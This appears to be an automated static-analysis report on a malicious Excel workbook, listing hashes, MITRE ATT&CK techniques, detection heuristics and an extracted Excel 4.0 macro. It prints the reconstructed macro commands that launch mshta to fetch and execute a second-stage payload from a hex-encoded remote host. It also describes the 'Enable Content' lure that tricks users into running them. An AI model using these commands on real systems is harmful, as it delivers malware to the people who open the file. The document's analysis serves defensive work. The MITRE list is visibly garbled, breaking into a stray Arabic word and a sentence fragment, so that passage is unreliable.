Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 ee51a965a0d091c5…

MALICIOUS

Office (OLE) / .XLS

65.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 49343896106e88d8102f1fa176b06388 SHA-1: 1ce7095b98144923c1ff15430c79fe5dbc7cfafc SHA-256: ee51a965a0d091c566fdd5e84ee40ee916ac4931664c5333ea8545b233fcf9ac
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic for Applications T1204.001 User Execution: Malicious Link T1566.001 Phishing: Spearphishing Attachment T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting لنابه a remote payload via the embedded URL.

The sample uses a 'Enable Content' lure to trick the user into executing an Excel 4.0 (XLM) macro. The macro executes a command line string reconstructed as 'cmd /c mshta http://0xc12a24f5/c.html' and 'cmd /c mshta http://0xc12a24f5/cc.html' to download and execute a second-stage payload via mshta.exe.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes